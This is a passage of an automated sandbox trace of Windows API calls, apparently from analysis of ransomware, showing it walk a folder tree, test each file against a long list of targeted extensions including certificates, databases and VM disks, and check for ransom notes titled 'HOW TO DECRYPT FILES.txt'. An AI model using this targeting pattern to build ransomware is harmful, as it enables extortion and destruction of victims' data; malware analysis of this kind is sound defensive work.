(pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.odb") returned 0 [0058.015] lstrlenA (lpString="*.odb") returned 5 [0058.015] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.java") returned 0 [0058.015] lstrlenA (lpString="*.java") returned 6 [0058.015] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.asm") returned 0 [0058.015] lstrlenA (lpString="*.asm") returned 5 [0058.015] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.pfx") returned 0 [0058.015] lstrlenA (lpString="*.pfx") returned 5 [0058.015] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.pem") returned 0 [0058.015] lstrlenA (lpString="*.pem") returned 5 [0058.015] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.p12") returned 0 [0058.015] lstrlenA (lpString="*.p12") returned 5 [0058.015] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.gpg") returned 0 [0058.015] lstrlenA (lpString="*.gpg") returned 5 [0058.015] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.vsd") returned 0 [0058.015] lstrlenA (lpString="*.vsd") returned 5 [0058.015] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.odg") returned 0 [0058.015] lstrlenA (lpString="*.odg") returned 5 [0058.015] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.raw") returned 0 [0058.016] lstrlenA (lpString="*.raw") returned 5 [0058.016] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.nef") returned 0 [0058.016] lstrlenA (lpString="*.nef") returned 5 [0058.016] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.svg") returned 0 [0058.016] lstrlenA (lpString="*.svg") returned 5 [0058.016] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.psd") returned 0 [0058.016] lstrlenA (lpString="*.psd") returned 5 [0058.016] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.vmx") returned 0 [0058.016] lstrlenA (lpString="*.vmx") returned 5 [0058.016] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.vmdk") returned 0 [0058.016] lstrlenA (lpString="*.vmdk") returned 6 [0058.016] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.vdi") returned 0 [0058.016] lstrlenA (lpString="*.vdi") returned 5 [0058.016] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.lay6") returned 0 [0058.016] lstrlenA (lpString="*.lay6") returned 6 [0058.016] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.mpeg") returned 0 [0058.016] lstrlenA (lpString="*.mpeg") returned 6 [0058.016] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.djvu") returned 0 [0058.016] lstrlenA (lpString="*.djvu") returned 6 [0058.016] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.tiff") returned 0 [0058.016] lstrlenA (lpString="*.tiff") returned 6 [0058.016] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.backup") returned 0 [0058.016] lstrlenA (lpString="*.backup") returned 8 [0058.016] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.pdf") returned 0 [0058.016] lstrlenA (lpString="*.pdf") returned 5 [0058.016] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.cert") returned 0 [0058.016] lstrlenA (lpString="*.cert") returned 6 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.docm") returned 0 [0058.017] lstrlenA (lpString="*.docm") returned 6 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.xlsm") returned 0 [0058.017] lstrlenA (lpString="*.xlsm") returned 6 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.dwg") returned 0 [0058.017] lstrlenA (lpString="*.dwg") returned 5 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.nd") returned 0 [0058.017] lstrlenA (lpString="*.nd") returned 4 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.tlg") returned 0 [0058.017] lstrlenA (lpString="*.tlg") returned 5 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.lgb") returned 0 [0058.017] lstrlenA (lpString="*.lgb") returned 5 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.mov") returned 0 [0058.017] lstrlenA (lpString="*.mov") returned 5 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.xdw") returned 0 [0058.017] lstrlenA (lpString="*.xdw") returned 5 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.ods") returned 0 [0058.017] lstrlenA (lpString="*.ods") returned 5 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.wav") returned 0 [0058.017] lstrlenA (lpString="*.wav") returned 5 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.mp3") returned 0 [0058.017] lstrlenA (lpString="*.mp3") returned 5 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.aiff") returned 0 [0058.017] lstrlenA (lpString="*.aiff") returned 6 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.flac") returned 0 [0058.017] lstrlenA (lpString="*.flac") returned 6 [0058.017] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.m4a") returned 0 [0058.017] lstrlenA (lpString="*.m4a") returned 5 [0058.018] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", pszSpec="*.csv") returned 0 [0058.018] lstrlenA (lpString="*.csv") returned 5 [0058.018] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0058.018] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.018] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PNG32.FLT") returned -1 [0058.018] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PNG32.FLT") returned -1 [0058.018] lstrcmpiA (lpString1="", lpString2="PNG32.FLT") returned -1 [0058.018] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned="PICTIM32.FLT" [0058.018] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0058.018] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0058.018] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO DECRYPT FILES.txt" [0058.018] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to decrypt files.txt")) returned 0x20 [0058.018] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", lpString2="PNG32.FLT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" [0058.018] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.ems") returned 0 [0058.018] lstrlenA (lpString="*.ems") returned 5 [0058.018] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.db") returned 0 [0058.018] lstrlenA (lpString="*.db") returned 4 [0058.018] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.dbf") returned 0 [0058.018] lstrlenA (lpString="*.dbf") returned 5 [0058.018] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.myox") returned 0 [0058.018] lstrlenA (lpString="*.myox") returned 6 [0058.018] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.myo") returned 0 [0058.018] lstrlenA (lpString="*.myo") returned 5 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.qbw") returned 0 [0058.019] lstrlenA (lpString="*.qbw") returned 5 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.qbb") returned 0 [0058.019] lstrlenA (lpString="*.qbb") returned 5 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.qbm") returned 0 [0058.019] lstrlenA (lpString="*.qbm") returned 5 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.qbo") returned 0 [0058.019] lstrlenA (lpString="*.qbo") returned 5 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.qbx") returned 0 [0058.019] lstrlenA (lpString="*.qbx") returned 5 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.qba") returned 0 [0058.019] lstrlenA (lpString="*.qba") returned 5 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.qby") returned 0 [0058.019] lstrlenA (lpString="*.qby") returned 5 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.qbj") returned 0 [0058.019] lstrlenA (lpString="*.qbj") returned 5 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.ofx") returned 0 [0058.019] lstrlenA (lpString="*.ofx") returned 5 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.qif") returned 0 [0058.019] lstrlenA (lpString="*.qif") returned 5 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.mye") returned 0 [0058.019] lstrlenA (lpString="*.mye") returned 5 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.mbox") returned 0 [0058.019] lstrlenA (lpString="*.mbox") returned 6 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.eml") returned 0 [0058.019] lstrlenA (lpString="*.eml") returned 5 [0058.019] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.pst") returned 0 [0058.020] lstrlenA (lpString="*.pst") returned 5 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.ost") returned 0 [0058.020] lstrlenA (lpString="*.ost") returned 5 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.idx") returned 0 [0058.020] lstrlenA (lpString="*.idx") returned 5 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.dbx") returned 0 [0058.020] lstrlenA (lpString="*.dbx") returned 5 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.sql") returned 0 [0058.020] lstrlenA (lpString="*.sql") returned 5 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.mdb") returned 0 [0058.020] lstrlenA (lpString="*.mdb") returned 5 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.fdb") returned 0 [0058.020] lstrlenA (lpString="*.fdb") returned 5 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.wab") returned 0 [0058.020] lstrlenA (lpString="*.wab") returned 5 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.dat") returned 0 [0058.020] lstrlenA (lpString="*.dat") returned 5 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.txt") returned 0 [0058.020] lstrlenA (lpString="*.txt") returned 5 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.jpeg") returned 0 [0058.020] lstrlenA (lpString="*.jpeg") returned 6 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.jpg") returned 0 [0058.020] lstrlenA (lpString="*.jpg") returned 5 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.png") returned 0 [0058.020] lstrlenA (lpString="*.png") returned 5 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.php") returned 0 [0058.020] lstrlenA (lpString="*.php") returned 5 [0058.020] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.cs") returned 0 [0058.021] lstrlenA (lpString="*.cs") returned 4 [0058.021] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.cpp") returned 0 [0058.021] lstrlenA (lpString="*.cpp") returned 5 [0058.021] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.rar") returned 0 [0058.021] lstrlenA (lpString="*.rar") returned 5 [0058.021] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.zip") returned 0 [0058.021] lstrlenA (lpString="*.zip") returned 5 [0058.021] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.html") returned 0 [0058.021] lstrlenA (lpString="*.html") returned 6 [0058.021] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.htm") returned 0 [0058.021] lstrlenA (lpString="*.htm") returned 5 [0058.021] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.xlsx") returned 0 [0058.021] lstrlenA (lpString="*.xlsx") returned 6 [0058.021] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.xls") returned 0 [0058.021] lstrlenA (lpString="*.xls") returned 5 [0058.021] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.mp4") returned 0 [0058.021] lstrlenA (lpString="*.mp4") returned 5 [0058.021] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.ppt") returned 0 [0058.021] lstrlenA (lpString="*.ppt") returned 5 [0058.021] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.pptx") returned 0 [0058.021] lstrlenA (lpString="*.pptx") returned 6 [0058.021] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.doc") returned 0 [0058.021] lstrlenA (lpString="*.doc") returned 5 [0058.021] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.dot") returned 0 [0058.021] lstrlenA (lpString="*.dot") returned 5 [0058.021] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.docx") returned 0 [0058.022] lstrlenA (lpString="*.docx") returned 6 [0058.022] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.7z") returned 0 [0058.022] lstrlenA (lpString="*.7z") returned 4 [0058.022] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.tar") returned 0 [0058.022] lstrlenA (lpString="*.tar") returned 5 [0058.022] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.bz2") returned 0 [0058.022] lstrlenA (lpString="*.bz2") returned 5 [0058.022] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.gz") returned 0 [0058.022] lstrlenA (lpString="*.gz") returned 4 [0058.022] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.mkv") returned 0 [0058.022] lstrlenA (lpString="*.mkv") returned 5 [0058.022] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.eml") returned 0 [0058.022] lstrlenA (lpString="*.eml") returned 5 [0058.022] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.msg") returned 0 [0058.022] lstrlenA (lpString="*.msg") returned 5 [0058.022] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.edb") returned 0 [0058.022] lstrlenA (lpString="*.edb") returned 5 [0058.022] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.accdb") returned 0 [0058.022] lstrlenA (lpString="*.accdb") returned 7 [0058.022] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.odb") returned 0 [0058.022] lstrlenA (lpString="*.odb") returned 5 [0058.022] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.java") returned 0 [0058.022] lstrlenA (lpString="*.java") returned 6 [0058.022] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.asm") returned 0 [0058.022] lstrlenA (lpString="*.asm") returned 5 [0058.022] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.pfx") returned 0 [0058.022] lstrlenA (lpString="*.pfx") returned 5 [0058.023] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.pem") returned 0 [0058.023] lstrlenA (lpString="*.pem") returned 5 [0058.023] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.p12") returned 0 [0058.023] lstrlenA (lpString="*.p12") returned 5 [0058.023] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.gpg") returned 0 [0058.023] lstrlenA (lpString="*.gpg") returned 5 [0058.023] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", pszSpec="*.vsd") returned 0 [0058.023] lstrlenA (lpString="*.vsd") returned 5 [0058.023] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0058.023] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.023] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WPGIMP32.FLT") returned -1 [0058.023] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WPGIMP32.FLT") returned -1 [0058.023] lstrcmpiA (lpString1="", lpString2="WPGIMP32.FLT") returned -1 [0058.023] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned="PNG32.FLT" [0058.023] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0058.023] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0058.024] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO DECRYPT FILES.txt" [0058.024] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to decrypt files.txt")) returned 0x20 [0058.024] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", lpString2="WPGIMP32.FLT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" [0058.024] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0058.024] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.024] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Help", cAlternateFileName="")) returned 1 [0058.024] lstrcmpA (lpString1=".", lpString2="Help") returned -1 [0058.024] lstrcmpA (lpString1="..", lpString2="Help") returned -1 [0058.024] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0058.024] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\", lpString2="Help" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" [0058.024] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, 